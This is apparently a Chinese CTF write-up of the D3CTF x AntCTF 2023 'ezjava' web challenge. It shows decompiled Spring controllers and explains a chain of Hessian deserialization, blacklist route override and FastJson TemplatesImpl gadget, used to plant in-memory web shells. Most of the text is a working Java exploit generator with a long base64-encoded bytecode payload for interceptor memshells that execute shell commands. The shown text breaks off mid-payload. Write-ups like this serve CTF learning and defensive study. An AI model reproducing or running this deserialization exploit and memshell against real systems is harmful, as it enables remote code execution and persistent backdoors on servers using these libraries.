May 6, 2023

D3CTF x AntCTF 2023 Web 赛后复现

ezjava

考点:FastJson打多个内存马、路由覆盖
所以说,名字带ez的绝对要小心。这是ezjava吗,我不知道反正,这波我愿称之为JavaMaster的升级版本!
Client的controller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.registry.controller;

import com.alibaba.fastjson2.JSON;
import com.example.registry.data.Blacklist;
import com.example.registry.data.Result;
import com.example.registry.util.DefaultSerializer;
import com.example.registry.util.HessianSerializer;
import com.example.registry.util.Request;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

@Tag(
name = "Registry Controller"
)
@RestController
public class MainController {
public MainController() {
}

@Operation(
description = "hello for all"
)
@GetMapping({"/"})
public String hello() {
return "hello";
}

@Operation(
description = "registry will request client '/status' to get client status."
)
@GetMapping({"/client/status"})
public Result clientStatus() {
try {
String json = Request.get("http://server:8080/status");
return (Result)JSON.parseObject(json, Result.class);
} catch (Exception var2) {
return Result.of("500", "client is down");
}
}

@Operation(
description = "return serialized blacklist for client. Client will require blacklist every 10 sec."
)
@GetMapping({"/blacklist/jdk/get"})
public Result getBlacklist() {
String data = "";
String code = "200";

try {
data = DefaultSerializer.serialize(Blacklist.readBlackList("security/jdk_blacklist.txt"));
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}

return Result.of("200", data);
}

@Operation(
description = "get serialized blacklist for registry"
)
@GetMapping({"/blacklist/hessian/get"})
public Result getHessianBlacklist() {
String data = "";
String code = "200";

try {
data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}

return Result.of("200", data);
}

@Operation(
description = "deserialize base64Str using hessian"
)
@PostMapping({"/hessian/deserialize"})
public Result deserialize(String base64Str) {
String data = "";
String code = "200";

try {
byte[] serialized = Base64.getDecoder().decode(base64Str);
HessianSerializer.deserialize(serialized);
data = "deserialize success";
} catch (Exception var5) {
data = "error: " + var5.getMessage();
code = "500";
}

return Result.of(code, data);
}
}

Server的Contololer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.server.controller;

import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0L;

public IndexController() {
}

@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > 10000L) {
this.update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception var4) {
msg = "client is online";
}

return Result.of("200", msg);
}

public void update() {
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List)msg;
}
} catch (Exception var6) {
var6.printStackTrace();
}

}
}

这边逻辑是这样的,首先我们需要打下Client,然后重置路由,让server访问/blacklist/jdk/get时先获取一个没啥用的ArrayList(不为空),将这个设置为黑名单,也就是滞空黑名单,其次第二次访问时由于黑名单被滞空了,所以我们就可以直接丢上FastJson原生的temolates链直接打内存马,然后通过client访问server的status路由即可获取flag
exp如下
最外层生成Hessian反序列化的base64字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import org.apache.naming.ResourceRef;
import org.springframework.expression.spel.support.ReflectionHelper;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.management.BadAttributeValueExpException;
import javax.naming.CannotProceedException;
import javax.naming.CompositeName;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class HessianChain {
public static void main(String[] args) throws Exception {
String x = "var str='yv66vgAAADQA8goANQB6CQB7AHwJADEAfQoAfgB/CgCAAIEIAIIKAIAAgwoAhACFBwCGCgAJAIcIAIgKAAkAiQoACQCKCgAJAIsIAIwLAI0AjgoAfgCPCACQCACRCACSCgCTAJQKAAkAlQgAlggAlwsAmACZCwCYAJoKAJsAnAoAmwCdCgCbAJ4LADYAnwsANgCgCAChCgCiAKMIAKQLAKUApgcApwcAqAsAJACpBwCqCACrCgCsAK0HAK4KACoArwoAsACxCgCwALIHALMHALQKAC8ArwcAtQoAMQB6CwAuALYIALcHALgHALkBAARudW1zAQABSQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTG9yZy9leGFtcGxlL01lbXNoZWxsMTsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAEY29kZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHALoHAIYHALsHALUHALwHAL0HALgBAApFeGNlcHRpb25zBwC+AQAQTWV0aG9kUGFyYW1ldGVycwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCnBwCoBwC/BwCuBwCzBwC0AQAKU291cmNlRmlsZQEADk1lbXNoZWxsMS5qYXZhDAA5ADoHAMAMAMEAwgwANwA4BwDDDADEAMUHAMYMAMcAyAEACWNhdCAvZmxhZwwAyQDKBwDLDADMAM0BABFqYXZhL3V0aWwvU2Nhbm5lcgwAOQDOAQACXEEMAM8A0AwA0QDSDADTANQBAAAHALwMANUA1AwAxADWASl7eyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6InJPMEFCWE55QUM1cVlYWmhlQzV0WVc1aFoyVnRaVzUwTGtKaFpFRjBkSEpwWW5WMFpWWmhiSFZsUlhod1JYaGpaWEIwYVc5dTFPZmFxMk10UmtBQ0FBRk1BQU4yWVd4MEFCSk1hbUYyWVM5c1lXNW5MMDlpYW1WamREdDRjZ0FUYW1GMllTNXNZVzVuTGtWNFkyVndkR2x2YnREOUh6NGFPeHpFQWdBQWVISUFFMnBoZG1FdWJHRnVaeTVVYUhKdmQyRmliR1hWeGpVbk9YZTR5d01BQkV3QUJXTmhkWE5sZEFBVlRHcGhkbUV2YkdGdVp5OVVhSEp2ZDJGaWJHVTdUQUFOWkdWMFlXbHNUV1Z6YzJGblpYUUFFa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXNBQ25OMFlXTnJWSEpoWTJWMEFCNWJUR3BoZG1FdmJHRnVaeTlUZEdGamExUnlZV05sUld4bGJXVnVkRHRNQUJSemRYQndjbVZ6YzJWa1JYaGpaWEIwYVc5dWMzUUFFRXhxWVhaaEwzVjBhV3d2VEdsemREdDRjSEVBZmdBSWNIVnlBQjViVEdwaGRtRXViR0Z1Wnk1VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZERzQ1JpbzhQUDBpT1FJQUFIaHdBQUFBQVhOeUFCdHFZWFpoTG14aGJtY3VVM1JoWTJ0VWNtRmpaVVZzWlcxbGJuUmhDY1dhSmpiZGhRSUFCRWtBQ214cGJtVk9kVzFpWlhKTUFBNWtaV05zWVhKcGJtZERiR0Z6YzNFQWZnQUZUQUFJWm1sc1pVNWhiV1Z4QUg0QUJVd0FDbTFsZEdodlpFNWhiV1Z4QUg0QUJYaHdBQUFBSDNRQUhtOXlaeTVsZUdGdGNHeGxMa3B6YjI1VVpXMXdiR0YwWlhORGFHRnBiblFBRjBwemIyNVVaVzF3YkdGMFpYTkRhR0ZwYmk1cVlYWmhkQUFFYldGcGJuTnlBQ1pxWVhaaExuVjBhV3d1UTI5c2JHVmpkR2x2Ym5Na1ZXNXRiMlJwWm1saFlteGxUR2x6ZFB3UEpURzE3STRRQWdBQlRBQUViR2x6ZEhFQWZnQUhlSElBTEdwaGRtRXVkWFJwYkM1RGIyeHNaV04wYVc5dWN5UlZibTF2WkdsbWFXRmliR1ZEYjJ4c1pXTjBhVzl1R1VJQWdNdGU5eDRDQUFGTUFBRmpkQUFXVEdwaGRtRXZkWFJwYkM5RGIyeHNaV04wYVc5dU8zaHdjM0lBRTJwaGRtRXVkWFJwYkM1QmNuSmhlVXhwYzNSNGdkSWRtY2RoblFNQUFVa0FCSE5wZW1WNGNBQUFBQUIzQkFBQUFBQjRjUUIrQUJWNGMzSUFIMk52YlM1aGJHbGlZV0poTG1aaGMzUnFjMjl1TGtwVFQwNVBZbXBsWTNRQUFBQUFBQUFBQVFJQUFVd0FBMjFoY0hRQUQweHFZWFpoTDNWMGFXd3ZUV0Z3TzNod2MzSUFFV3BoZG1FdWRYUnBiQzVJWVhOb1RXRndCUWZhd2NNV1lORURBQUpHQUFwc2IyRmtSbUZqZEc5eVNRQUpkR2h5WlhOb2IyeGtlSEEvUUFBQUFBQUFESGNJQUFBQUVBQUFBQUYwQUFFeGMzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOMEFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6dE1BQVZmYm1GdFpYRUFmZ0FGVEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUEvLy8vLzNWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBWFZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJwSHl2NjZ2Z0FBQURRQk1Rb0FQd0NYQ0FDWUNBQ1pDZ0NhQUpzS0FKb0FuQW9BblFDZUNnQ2ZBS0FJQUtFS0FKOEFvZ29Bb3dDa0J3Q2xDZ0FMQUtZSUFLY0tBQXNBcUFvQUN3Q3BDZ0FMQUtvSkFLc0FyQW9BclFDdUJ3Q3ZDZ0FUQUpjSUFMQUtBQk1Bc1FvQXNnQ3pDZ0MwQUxVS0FMWUF0d2dBdUFvQUV3QzVDd0M2QUxzSUFMd0tBTFFBdlFvQUN3QytDQUMvQ0FEQUN3REJBTUlMQU1FQXd3b0F4QURGQ2dERUFNWUtBTVFBeHdrQU93RElDd0JBQU1rTEFFQUF5Z2dBeXdvQXpBRE5DQURPQ3dEUEFOQUhBTkVIQU5JTEFDNEEwd2NBMUFnQTFRb0ExZ0RYQndEWUNnQTBBTmtLQU5vQTJ3b0EyZ0RjQndEZEJ3RGVDZ0E1QU5rSEFOOEtBRHNBbHdzQU9BRGdDQURoQndEaUJ3RGpBUUFFYm5WdGN3RUFBVWtCQUFZOGFXNXBkRDRCQUFNb0tWWUJBQVJEYjJSbEFRQVBUR2x1WlU1MWJXSmxjbFJoWW14bEFRQVNURzlqWVd4V1lYSnBZV0pzWlZSaFlteGxBUUFFZEdocGN3RUFGMHh2Y21jdlpYaGhiWEJzWlM5TlpXMXphR1ZzYkRJN0FRQU1jbVZ3YkdGalpVSnNZVzVyQVFBbUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUZ3QVFBWlRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUFXMEJBQmxNYW1GMllTOTFkR2xzTDNKbFoyVjRMMDFoZEdOb1pYSTdBUUFEYzNSeUFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFFWkdWemRBRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFPUUJBQkJOWlhSb2IyUlFZWEpoYldWMFpYSnpBUUFKY0hKbFNHRnVaR3hsQVFCa0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFdnRUFCbkpsYzNWc2RBRUFCM0psY1hWbGMzUUJBQ2RNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBaHlaWE53YjI1elpRRUFLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBZG9ZVzVrYkdWeUFRQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFFWTI5a1pRRUFBbWx1QVFBVlRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFCY3dFQUUweHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVp2ZFhSd2RYUUhBT1VIQUtVSEFOOEhBT1lIQU9jSEFPZ0JBQXBGZUdObGNIUnBiMjV6QndEcEFRQUtjRzl6ZEVoaGJtUnNaUUVBa2loTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREdE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlU3VEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZUVzlrWld4QmJtUldhV1YzT3lsV0FRQU1iVzlrWld4QmJtUldhV1YzQVFBdVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2VFc5a1pXeEJibVJXYVdWM093RUFEMkZtZEdWeVEyOXRjR3hsZEdsdmJnRUFlU2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZER0TWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ6Y0c5dWMyVTdUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdUR3BoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjQ3S1ZZQkFBSmxlQUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFDWFJ5WVc1elptOXliUUVBY2loTVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMMFJQVFR0YlRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRiV3d2YVc1MFpYSnVZV3d2YzJWeWFXRnNhWHBsY2k5VFpYSnBZV3hwZW1GMGFXOXVTR0Z1Wkd4bGNqc3BWZ0VBQ0dSdlkzVnRaVzUwQVFBdFRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlFVDAwN0FRQUlhR0Z1Wkd4bGNuTUJBRUpiVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzSEFPb0JBS1lvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZaSFJ0TDBSVVRVRjRhWE5KZEdWeVlYUnZjanRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlhWFJsY21GMGIzSUJBRFZNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOWtkRzB2UkZSTlFYaHBjMGwwWlhKaGRHOXlPd0VBUVV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0FRQUlQR05zYVc1cGRENEJBQUZsQVFBZ1RHcGhkbUV2YkdGdVp5OU9iMU4xWTJoR2FXVnNaRVY0WTJWd2RHbHZianNCQUNKTWFtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjQ3QVFBSFkyOXVkR1Y0ZEFFQU4weHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGREc0JBQlZ0WVhCd2FXNW5TR0Z1Wkd4bGNrMWhjSEJwYm1jQkFGUk1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wyRnVibTkwWVhScGIyNHZVbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVaenNCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNCQUJGaFpHRndkRWx1ZEdWeVkyVndkRzl5Y3dFQUVFeHFZWFpoTDNWMGFXd3ZUR2x6ZERzQkFBOWxkbWxzU1c1MFpYSmpaWEIwYjNJQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFCR1RHcGhkbUV2ZFhScGJDOU1hWE4wUEV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjanMrT3djQTBRY0EwZ2NBNndjQTJBY0EzUWNBM2dFQUNsTnZkWEpqWlVacGJHVUJBQTVOWlcxemFHVnNiREl1YW1GMllRd0FRd0JFQVFBQUFRQUpYSE1xZkFsOERYd0tCd0RzREFEdEFPNE1BTzhBOEFjQThRd0E4Z0JMQndEekRBRDBBUFVCQUFsallYUWdMMlpzWVdjTUFQWUE5d2NBK0F3QStRRDZBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUVNQSt3RUFBbHhCREFEOEFQME1BUDRBL3d3QkFBRUJCd0VDREFFREFRUUhBUVVNQVFZQkJ3RUFGMnBoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeUFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0JDQUVKQndFS0RBRUxBUTRIQU9RTUFROEJFQWNCRVF3QkVnRVRBUUFDSW4wTUFSUUJBUWNBNWd3QkZRRUJBUUFITDNOMFlYUjFjd3dCRmdFWERBQkRBUWNCQUF4RGIyNTBaVzUwTFZSNWNHVUJBQjVoY0hCc2FXTmhkR2x2Ymk5cWMyOXVPMk5vWVhKelpYUTlWVlJHTFRnSEFPY01BUmdCR1F3QkdnRWJCd0VjREFFZEFRY01BUjRBUkF3Qkh3QkVEQUJCQUVJTUFHMEFiZ3dBY1FCeUFRQUdjM1JoWVhKMEJ3RWdEQUVoQVNJQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQVNNTUFTUUJKUUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0JKZ0VuQVFBK2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlvWVc1a2JHVnlMMEZpYzNSeVlXTjBTR0Z1Wkd4bGNrMWhjSEJwYm1jQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpCd0VvREFFcEFTb0JBQjVxWVhaaEwyeGhibWN2VG05VGRXTm9SbWxsYkdSRmVHTmxjSFJwYjI0TUFTc0FSQWNBNnd3QkxBRXREQUV1QVM4QkFBNXFZWFpoTDNWMGFXd3ZUR2x6ZEFFQUlHcGhkbUV2YkdGdVp5OUpiR3hsWjJGc1FXTmpaWE56UlhoalpYQjBhVzl1QVFBVmIzSm5MMlY0WVcxd2JHVXZUV1Z0YzJobGJHd3lEQUV3QVJjQkFBSnZhd0VBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRQkFESnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDBoaGJtUnNaWEpKYm5SbGNtTmxjSFJ2Y2dFQUVHcGhkbUV2YkdGdVp5OVRkSEpwYm1jQkFCTnFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBRjJwaGRtRXZkWFJwYkM5eVpXZGxlQzlRWVhSMFpYSnVBUUFIWTI5dGNHbHNaUUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUIyMWhkR05vWlhJQkFETW9UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tVeHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2pzQkFCZHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2dFQUNuSmxjR3hoWTJWQmJHd0JBQkZxWVhaaEwyeGhibWN2VW5WdWRHbHRaUUVBQ21kbGRGSjFiblJwYldVQkFCVW9LVXhxWVhaaEwyeGhibWN2VW5WdWRHbHRaVHNCQUFSbGVHVmpBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFIYUdGelRtVjRkQUVBQXlncFdnRUFCRzVsZUhRQkFCUW9LVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBRUdwaGRtRXZiR0Z